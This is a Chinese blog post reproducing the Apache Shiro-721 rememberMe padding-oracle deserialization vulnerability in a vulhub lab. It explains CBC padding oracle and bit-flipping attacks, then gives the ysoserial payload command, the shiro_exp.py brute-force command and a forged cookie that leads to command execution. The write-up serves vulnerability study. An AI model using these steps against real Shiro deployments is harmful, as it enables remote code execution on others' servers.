shiro-721反序列化漏洞复现

一、漏洞介绍:

Shiro-721反序列化漏洞是指在Apache Shiro中,由于cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

二、影响版本:

该漏洞影响版本为Apache Shiro 
1.2.5
1.2.6
1.3.0
1.3.1
1.3.2
1.4.0-RC2
1.4.0
1.4.1

三、漏洞原理:

1、shiro-721采用了AES-128-CBC的加密方式 ,与shiro-550相比
AES的key不是固定的而是动态随机的
2、这种加密方式容易受到Padding Oracle Attack(填充提示攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击

CBC的介绍:

密码分组链接模式(Cipher Block Chaining,CBC),其中“分组"是指加密和解密过程都是以分组进行的。
每一个分组大小为128bits(16字节),如果明文的长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),使得最后一个分组长度为16字节。
"链接”是指密文分组像链条一样相互连接在一起。

CBC的加密过程:

f9d93ec04d7c5bbe55833a2d999c318.png

IV:初始化向量
Plaintext:明文数据
E(Key,m1):将m1数据用key加密
Ciphertext:密文数据

第一步:将明文数据分组
第二步:将分组的明文数据和初始化向量IV 进行异或处理,得到中间值数据m1
第三步:利用加密密匙key将m1进行加密,得到加密分组1
第四步:将加密分组1作为IV与明文分组1进行异或
按照这个过程重复,得到加密分组
最后将加密分组合成一个得到密文

解密过程相反
image.png

Padding Oracle Attack(填充提示攻击)

Padding的含义是"填充",在解密时,如果算法发现解密后得到的结果,它的填充方式不符合规则,那么表示输入数据有问题,对于
解密的类库来说,往往便会抛出一个异常,提示Padding不正确。Orale在这里便是"提示"的意思

分组填充:

在AES加密之前会将要加密的数据进行分组(有可能是8个字节一组或者是16个字节为一组)
如果最后一个分组的字节不够8位
则会进行填充
如果最后一个分组的字节只有七位 则需要添加一个字节 最后一个位置会填充0x01
如果最后一个分组的字节只有六位 则需要添加两个字节 最后两个位置会填充0x02 0x02
如果最后一个分组正好位8个字节 也会重新填充8个字节
如图所示:
image.png
那么它如何判断填充是否错误?
当将密文解密后,其会检查明文最后的一个字节,若发现其为0x02,则继续检查倒数第二个字节是否为0x02,若倒数第二个字节不是0x02,则判断出填充错误。其判断方式就是通过去读明文最后一个字节填充的字节,根据该字节的值,继续向前检查。

攻击利用:

我们可以利用以下特性
将正常的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击
可以构造IV 因为解密分组1 是用第一个密文分组和第二个密文分组的解密值m1进行异或得到
而第一个密文分组是IV 两者异或是八个字节 并不会填充8个字节
这样就会造成填充错误
我们可以构造一个恶意的IV 使m1的值和恶意IV的值 异或 得到明文最后一个字节填充为0x01
这样就不会造成填充错误

如何构造恶意IV呢
我们可以构造恶意IV的前七个字节都是0 最后一个字节与m1进行异或
如果得到0x01则得到恶意IV

恶意IV[-1] XOR m1[-1] = 0x01
恶意IV[-1] XOR 0x01 =  m1[-1]
正常IV[-1] XOR m1[-1] = 明文[-1]

之后按照此规律 得到明文

CBC翻转攻击:

image.png
如图所示:
如果要在明文分组3中构造恶意代码
需要修改 密文分组2的值
而修改密文分组2必定会导致中间值和密文分组1异或的结果不等于明文分组2
这样再去修改密文分组1
重复之前步骤 通过修改密文分组和IV值
达到伪造明文 从而实现CBC攻击

四、漏洞复现:

基于vulhub
在docker中起环境

docker compose up -d

访问本机8080端口
image.png
随便输入username和passwd
点击Remember me 使用burpsuite抓取数据包
可以看到返回包中有Remember me = delete 证明存在shiro-721漏洞
image.png
使用官方所给的用户名和密码登录 获取正确的remember me的值

username:admin
passwd:vulhub

抓包后可以看到remember me的值
image.png
使用ysoserial生成payload,前提是环境中存在可利用的链
这里命令用双引号括起来

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonCollections1 "touch /tmp/1.txt" > payload.class

之后利用官方exp文件Padding Oracle方式爆破payload的密文

python shiro_exp.py --url http://192.168.3.135:8080/doLogin [rememberMeCookie] payload.class

remember me:
PH4Ta9GYLg5z/60xYlr9ZldcaY8MMb7zBOz5zqu8aY6fwGKQiMdoofNoRu1GuExEfREK4VoGnC1va6TwmyJZ1D27QkZ2kND3WqjXcRAuzkDUSz4udiOiHWr9qEPHSWIy8SThdDtWLlmtxz+JjWjmEond2yx+PvEC0bQdOh4YuYC/1ZMTmilKhExHeM0B1MqVXKAnhROLkEVBIzMvGU42DiSZ0+nUZsQGyw6HPjlT5NCH5hh7Pql6gK+58udpElDA67HXTe348QdMFOE+F644SegQBYwPepA8wmRIFCRmX1O/BlEdXkd9udbmSqprn47wYQFswclUbh3Z432FeqBKocrJg3AgQuVNzU3gpBkvrqt9jPpN8rQrtcz1//keWDv8IVhM0UB3/0FY0+1d1+WbW7BjDY/TTwYkOX0XeznCmckazVMmjU1OadrJYpni7OipQAVbbc6RYpK8ycy93zRMfg1ZCpkP0luieQZcy44Ltc1aurUsur6t/B16iFd6Fa/zBmyfB+Nq2FC8abnO5dMooQ==

爆破出正确的 remember me的值
之后粘贴到重发器中

最终在/tmp目录下创建了1.txt文件
image.png

参考以下文章:
https://blog.csdn.net/m0_55793759/article/details/127394011
https://www.bilibili.com/video/BV15o4y1b7gx?p=6

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值